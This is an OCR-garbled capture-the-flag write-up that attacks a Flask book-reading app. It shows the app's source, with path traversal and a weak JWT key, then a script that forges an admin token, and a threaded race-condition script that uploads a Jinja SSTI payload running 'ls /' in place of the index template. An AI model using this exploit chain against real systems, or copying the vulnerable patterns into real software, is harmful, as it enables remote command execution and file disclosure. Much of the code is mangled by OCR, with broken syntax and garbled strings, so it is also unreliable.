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root:x:0:0:root:/root:/bin/bash
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from flask import Flask, render_template, request, redirect,

url for, make_response, jsonify
import os

import re

import jwt

app = Flask(__name__, template_folder='templates')
app.config[ 'TEMPLATES AUTO RELOAD'] = True
SECRET_KEY = os.getenv('JWT KEY")

book dir = 'books'

users = {'fly233': '123456789'}

def generate token(username):
payload = {
‘username’: username
¥
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256")

return token

def decode token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256'])




return payload
except jwt.ExpiredSignatureError:
return

except jwt.InvalidTokenError:
return

@app.route('/")
index():
token = request.cookies.get('token")
if token:
return redirect('/login")
payload = decode_token(token)
if payload:
return redirect('/login")

username = payload[ 'username’]

books = [f for f in os.listdir(book dir) if f.endswith('.txt')]

return render_template('./index.html', username=username,
books=books)

@app.route('/login', methods=['GET', 'POST'])
login():
if request.method == 'GET':

return render_template('./login.html")
elif request.method == 'POST':

username request.form.get( 'username")
password = request.form.get('password"')

if username users users[username] == password:

token = generate_token(username)

response = make_response(jsonify({
'message': 'success'

}), 200)

response.set_cookie('token', token, httponly= , path="/")
return response

else:

return {'message’': 'Invalid username or password'}




@app.route('/read', methods=[ 'POST'])
read_book():
token = request.cookies.get('token")
if token:
return redirect('/login')
payload = decode_token(token)
if payload:
return redirect('/login")
book _path = request.form.get('book path")
full path = os.path.join(book_dir, book_ path)
try:
with open(full path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)

except FileNotFoundError:
return "SCHEARIREIN, 404
except Exception as e:
return f"K4AHR: {str(e)}", 500

@app.route('/upload’', methods=['GET', 'POST'])
upload():
token = request.cookies.get('token")
if token:
return redirect('/login")
payload = decode_ token(token)
if payload:
return redirect('/login')
if request.method == 'GET':

return render_template('./upload.html")
if payload.get('username’) != "admin':
return """
<script>
alert(' RAEHAAFRMEBRIBIR");
window.location.href = '/';
</script>
file = request.files['file"]
if file:
book_path = request.form.get( 'book path")
file_path = os.path.join(book_path, file.filename)
if os.path.exists(book path):
return "SCHIEATEAE", 400
file.save(file path)




with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = [

if re.search(pattern, content):
os.remove(file path)

return """
<script>
alert('SSTI,ZH[IZE! ");
window.location.href = '/';
</script>
return redirect(url_for('index'))
return "ARIEFEH", 400
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import jwt

SECRET_KEY = 'this_is_key'

generate_token(username):

payload = {

‘username': username




token = jwt.encode(payload, SECRET _KEY,
algorithm="HS256")

return token

print(generate_token('admin'))

welcome admin
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@app.route(’ /upload’, methods=[ "GET', 'POST'])
upload():
token = request.cookies.get('token")
if token:
return redirect(’/login’
payload = decode token
if payload:
return redirect
if request.method ==

return render template('
if payload get('username') I=

file = request.files['file’]

if file:
book path = request.form.get( book path®)
file path = os.path.join(book path, file.filename)
if D .path exists(book path):

file. qave(flle pathﬂ

with open(file_path, 'r', encoding='utf-8') as f
content = f.read()
pattern = r'[ ]

if re.search(pattern, content):
remove(file path)
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import requests
import threading
import sys
import html

homepage _accessible = threading.Event()

upload file(target url, file content,
file name="index.html", book path="templates/"):

" B AL SO URL "
cookies = {
"token':

'eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCI9.eyllc2VybmFtZSI6ImFkbW
luIn@.hrEGfyd22felgXSG8VCgksTvhrAHRNzTiJTkBr_2xqo'

¥

while homepage accessible.is set():
try:
files = {'file': (file_name, file_content)}
data = {'book path': book path}

response = requests.post(
target_url + '/upload',
cookies=cookies,
files=files,
data=data,
verify=
timeout=5




except requests.exceptions.RequestException as e:

print(f"[ LELIE] EREH: {e}")

if _name__ == "__main__
target_url = "http://IP:PORT"
file content =

"{{config. «class . init . globals ['os'].popen('ls

/") .read()

file name = "index.html"

upload threads = []
for i in range(10):
= threading.Thread(
target=upload_file,
args=(target _url, file content)
)
t.daemon =
upload_threads.append(t)

t.start()

cookies = {

"token':
'eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eyJ1lc2VybmFtZSI6ImFkbW

luIn@.hrEGfyd22felgXSG8VCgksTvhrAHRNzTiJTkBr_2xqo'
}

while

rs = requests.get(
target url,
verify= ,
cookies=cookies,
timeout=3

)

if rs.status _code == 200:
homepage_accessible.set()
print(html.unescape(rs.text))

break




